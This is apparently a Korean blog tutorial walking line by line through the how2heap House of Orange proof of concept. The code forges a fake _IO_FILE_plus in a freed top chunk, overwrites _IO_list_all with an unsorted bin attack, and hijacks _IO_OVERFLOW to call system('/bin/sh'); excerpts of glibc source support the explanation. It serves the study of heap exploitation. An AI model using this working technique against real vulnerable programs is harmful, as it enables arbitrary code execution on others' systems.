ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • House of Orange - how2heap
    Heap exploitation/how2heap 2020. 2. 26. 13:59

    Abstract


    House of Orange는 Fake _IO_FILE_plus를 만들고 IO_list_all를 수정한 후 의도적으로 힙에 손상을 일으켜 에러 메시지를 출력하게 한다. 이 때 abort.c 안의 _IO_flush_all_lockup()을 통해 에러 메시지를 출력시키는데, IO_list_all이 수정되었기에 fake _IO_FILE_plus를 실제 File Stream chain으로 인식한다. 이후 이에 대해 _IO_OVERFLOW()를 호출하게 되는데, fake _IO_FILE_plus의 vtable을 참조하기 때문에 RIP를 컨트롤할 수 있다.

     

    말이 너무 길어졌는데, 순서대로 설명하면 아래와 같다.

    Exploit flow


    1. 적당히 큰 free된 청크를 만들기 위해 Top Chunk를 원래 크기보다 훨씬 작게 수정해서 Top Chunk를 free 되도록 만든다.
      • 이는 큰 크기의 청크를 직접 free 할 수 없을 때 사용하는 방법이며 청크의 크기가 약 0x100 이상인 청크를 직접 free 할 수 있으면 건너 뛰어도 된다.
    2. free된 청크에 fake _IO_FILE_plus를 만든다.
    3. IO_list_all을 fake _IO_FILE_plus의 주소로 덮는다.
    4. 메모리 손상을 일으켜 오류 메시지를 출력하게 한다.
    5. 오류 메시지는 _IO_flush_all_lockup()에서 출력하는데, 여기서 _IO_list_all 체인에 존재하는 모든 스트림에 대해 _IO_OVERFLOW()를 호출하게 된다.

     

    Explain


    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    /*
     * house of orange는 힙 오버플로우를 통해 _IO_list_all을 조작한다.
     * libc leak과 heap leak이 필요하다.
     *
     * */
    
    int win(char* cmd) {
        system(cmd);
    }
    
    int main() {
    
        char *p1, *p2;
        size_t io_list_all, *top;
    
        // 먼저 0x20 만큼의 힙을 생성해준다.
        p1 = malloc(8) - 2 * 8;
    
        // 탑청크의 위치를 구한다.
        top = (size_t*)(p1 + 0x20);
    
        /*
            탑청크를 수정할 때 이전 청크의 크기의 합이 0x1000의 배수가 되어야 한다. // 페이지 정렬 필요
    		0x20 + 0xfe0 = 0x1000
            prev_inuse 비트를 설정해 주어야 한다.
        */
        top[1] = 0xfe1;
    
    	// 탑청크보다 큰 힙을 요청한다.
        p2 = malloc(0x1000);
    
    	// _IO_OVERFLOW()의 인자가 fp(fake _IO_FILE_plus)이기 때문에 /bin/sh을 준다.
        memcpy((char*)top, "/bin/sh\x00", 8);
    
        _IO_FILE *fp = (_IO_FILE *) top;
    
        fp->_mode = 0; // top + 0xc0
        fp->_IO_write_base = (char*)2; // top + 0x20
        fp->_IO_write_ptr = (char*)3;  // top + 0x28
    
        size_t *jump_table = &top[12];
    
        *(size_t *) (((char*)fp+sizeof(_IO_FILE))) = (size_t)jump_table; // top + 0xd8
        jump_table[3] = (size_t)&win;
    
        // unsorted bin attack
        io_list_all = top[2] + 0x9a8;  // main_arena+88+0x9a8 == _IO_list_all
    
        top[3] = (size_t)io_list_all - 0x10; // change chunk->bk
    
        // 탑청크의 크기를 small bin (smallbin[4])에 넣기 위해 사이즈를 조절한다.
        top[1] = 0x61;
    
        // triger unsorted bin attack && error to house of orange
        malloc(0x10);
    
    }

    how2heap의 소스코드를 적당하게 번역했다. 차례대로 살펴보자.

     

        // 먼저 0x20 만큼의 힙을 생성해준다.
        p1 = malloc(8) - 2 * 8;

    0x20 만큼의 힙을 요청해 힙영역을 생성하면 아래와 같이 힙이 구성된다.

        // 탑청크의 위치를 구한다.
        top = (size_t*)(p1 + 0x20);

    탑청크의 위치를 구한다.

     

        /*
            탑청크를 수정할 때 이전 청크의 크기의 합이 0x1000의 배수가 되어야 한다. // 페이지 정렬 필요
    		0x20 + 0xfe0 = 0x1000
            prev_inuse 비트를 설정해 주어야 한다.
        */
        top[1] = 0xfe1;

    0x20만큼 힙을 할당하면 탑청크의 크기는 0x20fe1이 되는데, 이를 0xfe1로 수정해 탑청크의 크기를 매우 작게 줄인다. 이 때 탑청크는 항상 prev_inuse 비트가 설정되어야 하며 이전 청크들과의 합이 페이지 정렬 즉, 0x1000의 배수여야 한다. 이렇게 탑청크를 수정하면 아래와 같이 수정된다.

        // 탑청크보다 큰 힙을 요청한다.
        p2 = malloc(0x1000);

    이를 설명하기 앞서 malloc()에 대해 약간의 설명이 필요하다. 우리가 호출하는 malloc()은 __libc_malloc()이다. __libc_malloc() 내부에서 단일 스레드일 때 int_malloc()을 호출한다. int_malloc()은 탑청크에서 요청한 크기만큼 분리해 할당해주기 때문에 요청한 크기가 탑청크의 크기보다 크게되면 sysmalloc()을 호출해 탑청크의 크기를 늘린다.

    여기서 위의 코드는 힙을 요청할 때 탑청크의 크기보다 큰 크기를 요청했기에 sysmalloc()이 호출된다. sysmalloc()은 탑청크를 늘릴 때 기존 탑청크를 free하고 그 뒤에 2*SIZE_SZ 만큼의 울타리 청크를 두개 생성한 후 sbrk()로 힙 영역을 확장한다. 위 코드가 실행되면 힙은 아래와 같이 변한다.

    이렇게 되면 이전의 탑청크는 free되어 unsorted bin에 들어가게 된다. 이제 이 청크에 fake_IO_FILE_plus 구조체로 생성할 것이다.

     

    먼저 에러 메시지를 출력하는 함수를 분석해보자.

    static void
    malloc_printerr (const char *str)
    {
      __libc_message (do_abort, "%s\n", str);
      __builtin_unreachable ();
    }

    malloc()에서 오류 메시지를 출력하는 함수이다. __libc_message(do_abort, "%s\n", str)을 호출하는데, 이는 아래와 같은 함수이다.

     

    /* Abort with an error message.  */
    void
    __libc_message (enum __libc_message_action action, const char *fmt, ...)
    {
      va_list ap;
      int fd = -1;
      va_start (ap, fmt);
    #ifdef FATAL_PREPARE
      FATAL_PREPARE;
    #endif
      /* Don't call __libc_secure_getenv if we aren't doing backtrace, which
         may access the corrupted stack.  */
      if ((action & do_backtrace))
        {
          /* Open a descriptor for /dev/tty unless the user explicitly
             requests errors on standard error.  */
          const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
          if (on_2 == NULL || *on_2 == '\0')
            fd = __open_nocancel (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);
        }
      if (fd == -1)
        fd = STDERR_FILENO;
      struct str_list *list = NULL;
      int nlist = 0;
      const char *cp = fmt;
      while (*cp != '\0')
        {
          /* Find the next "%s" or the end of the string.  */
          const char *next = cp;
          while (next[0] != '%' || next[1] != 's')
            {
              next = __strchrnul (next + 1, '%');
              if (next[0] == '\0')
                break;
            }
          /* Determine what to print.  */
          const char *str;
          size_t len;
          if (cp[0] == '%' && cp[1] == 's')
            {
              str = va_arg (ap, const char *);
              len = strlen (str);
              cp += 2;
            }
          else
            {
              str = cp;
              len = next - cp;
              cp = next;
            }
          struct str_list *newp = alloca (sizeof (struct str_list));
          newp->str = str;
          newp->len = len;
          newp->next = list;
          list = newp;
          ++nlist;
        }
      bool written = false;
      if (nlist > 0)
        {
          struct iovec *iov = alloca (nlist * sizeof (struct iovec));
          ssize_t total = 0;
          for (int cnt = nlist - 1; cnt >= 0; --cnt)
            {
              iov[cnt].iov_base = (char *) list->str;
              iov[cnt].iov_len = list->len;
              total += list->len;
              list = list->next;
            }
          written = WRITEV_FOR_FATAL (fd, iov, nlist, total);
          if ((action & do_abort))
            {
              total = ((total + 1 + GLRO(dl_pagesize) - 1)
                       & ~(GLRO(dl_pagesize) - 1));
              struct abort_msg_s *buf = __mmap (NULL, total,
                                                PROT_READ | PROT_WRITE,
                                                MAP_ANON | MAP_PRIVATE, -1, 0);
              if (__glibc_likely (buf != MAP_FAILED))
                {
                  buf->size = total;
                  char *wp = buf->msg;
                  for (int cnt = 0; cnt < nlist; ++cnt)
                    wp = mempcpy (wp, iov[cnt].iov_base, iov[cnt].iov_len);
                  *wp = '\0';
                  /* We have to free the old buffer since the application might
                     catch the SIGABRT signal.  */
                  struct abort_msg_s *old = atomic_exchange_acq (&__abort_msg,
                                                                 buf);
                  if (old != NULL)
                    __munmap (old, old->size);
                }
            }
        }
      va_end (ap);
      if ((action & do_abort))
        {
          if ((action & do_backtrace))
            BEFORE_ABORT (do_abort, written, fd);
          /* Kill the application.  */
          abort ();
        }
    }

    위쪽 부분은 포멧 스트링을 처리하는 부분이고 맨 아래에서 abort()를 호출한다. 이 abort() 내부에서 _IO_flush_all_lockp()을 호출한다.

     

    이를 이해하려면 FSOP를 먼저 알아야한다. - https://dolphinlmg.tistory.com/27

     

    int
    _IO_flush_all_lockp (int do_lock)
    {
      int result = 0;
      FILE *fp;
    #ifdef _IO_MTSAFE_IO
      _IO_cleanup_region_start_noarg (flush_cleanup);
      _IO_lock_lock (list_all_lock);
    #endif
      for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
        {
          run_fp = fp;
          if (do_lock)
            _IO_flockfile (fp);
          if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
               || (_IO_vtable_offset (fp) == 0
                   && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                        > fp->_wide_data->_IO_write_base))
               )
              && _IO_OVERFLOW (fp, EOF) == EOF)
            result = EOF;
          if (do_lock)
            _IO_funlockfile (fp);
          run_fp = NULL;
        }
    #ifdef _IO_MTSAFE_IO
      _IO_lock_unlock (list_all_lock);
      _IO_cleanup_region_end (0);
    #endif
      return result;
    }

    여기서 가장 중요한 부분은 

          if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
               || (_IO_vtable_offset (fp) == 0
                   && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                        > fp->_wide_data->_IO_write_base))
               )
              && _IO_OVERFLOW (fp, EOF) == EOF)

    이곳이다. 이것을 || 과 &&을 기준으로 세 부분으로 나눌 수 있다.

     

    • (fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
    • (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    • _IO_OVERFLOW (fp, EOF) == EOF

    || 앞 뒤의 두 조건중 하나만 만족하면 && 뒤의 _IO_OVERFLOW를 실행한다. 앞 부분의 조건이 짧기 때문에 이 조건을 통과하도록 fake _IO_FILE_plus를 만들 것이다. 

     

    다시 house_of_orange.c를 보면

    	// _IO_OVERFLOW()의 인자가 fp(fake _IO_FILE_plus)이기 때문에 /bin/sh을 준다.
        memcpy((char*)top, "/bin/sh\x00", 8);

    이 부분이 있는데, 이는 

    _IO_OVERFLOW (fp, EOF) == EOF

    를 보면 알 수 있듯이 fp가 첫번째 인자로 들어가기 때문에 system("/bin/sh")을 호출하기 위함이다. one_gadget을 호출할 때는 수정하지 않아도 된다.

     

    이제 _IO_FILE_plus를 만들 것이다.

        _IO_FILE *fp = (_IO_FILE *) top;
    
        fp->_mode = 0; // top + 0xc0
        fp->_IO_write_base = (char*)2; // top + 0x20
        fp->_IO_write_ptr = (char*)3;  // top + 0x28

    (fp->_mode <= 0) && (fp->_IO_write_base < fp->_IO_write_ptr)를 만족하기 위한 값만 넣어주었다.

     

    이후 top + 0x60에 jump_table을 작성할 것이다.

        size_t *jump_table = &top[12];

    _IO_OVERFLOW는 이 jump_table에서 네번째 인덱스이기 때문에 아래와 같이 win으로 덮어준다. (실제로는 one_gadget 혹은 system)

        jump_table[3] = (size_t)&win;

     

    그리고 fake _IO_FILE_plus의 vtable값을 top+0x60으로 저장해준다.

        *(size_t *) (((char*)fp+sizeof(_IO_FILE))) = (size_t)jump_table;

     

    현재 unsorted bin에 들어있는 이전 탑청크에 fake _IO_FILE_plus 구조체를 만들었다. 이제 _IO_list_all을 fake_chunk의 주소로 덮어야 한다.

     

        // unsorted bin attack
        io_list_all = top[2] + 0x9a8;  // main_arena+88+0x9a8 == _IO_list_all
    
        top[3] = (size_t)io_list_all - 0x10; // change chunk->bk

    먼저 _IO_list_all을 main_arena+88과의 오프셋으로 구한다. 이후 탑청크의 bk 부분을 _IO_list_all - 0x10으로 변경하고 unsorted bin attack을 진행하면 _IO_list_all의 값이 main_arena + 88로 덮일 것이다.

     

    이후 _IO_flush_all_lockp()의 아래 코드에 의해 main_arena + 88이 첫번째 fp로 인식될 것이다.

      for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)

    for문을 한번 돌고 이 다음 fp->_chain으로 갱신 할 때가 중요한데, _chain의 오프셋을 계산해보면 main_arena + 88(fp)에서 smallbin-4의 위치가 나오는데, 이곳에 탑청크가 들어가도록 하면 된다. 이를 위하여 탑청크의 크기를 다시 0x61로 변경한다.

        // 탑청크의 크기를 small bin (smallbin[4])에 넣기 위해 사이즈를 조절한다.
        top[1] = 0x61;

     

    이제 모든 준비는 끝났다. 0x61인 청크가 unsorted bin에서 할당되지 않도록 작은 크기의 힙을 요청하면 탑청크는 unsorted bin에서 small bin으로 옮기기 위해 unlink를 하게 되며 unsorted bin attack이 실행될 것이다. 탑청크가 small bin으로 옮겨진 후 다시 할당을 할 때 unsorted bin attack에 의해 memory corruption이 발생해 오류 메시지를 출력하며 쉘을 띄우게 될 것이다.

        // triger unsorted bin attack && error to house of orange
        malloc(0x10);

     

    위 코드를 실행하면 main → malloc  int_malloc  abort  _IO_flush_all_lockp  win의 순서로 호출된 것을 확인할 수 있다.

     

    또한 unsorted bin이 corrupt 되어있고 smallbin에 탑청크가 들어있는 것을 확인할 수 있다.

     

    에러 메시지와 함께 쉘이 따진다.

    'Heap exploitation > how2heap' 카테고리의 다른 글

    fastbin_dup_consolidate - how2heap  (0) 2020.02.17
    fastbin_dup_into_stack - how2heap  (0) 2020.02.17
    fastbin_dup - how2heap  (0) 2020.02.17

    댓글

Designed by Tistory.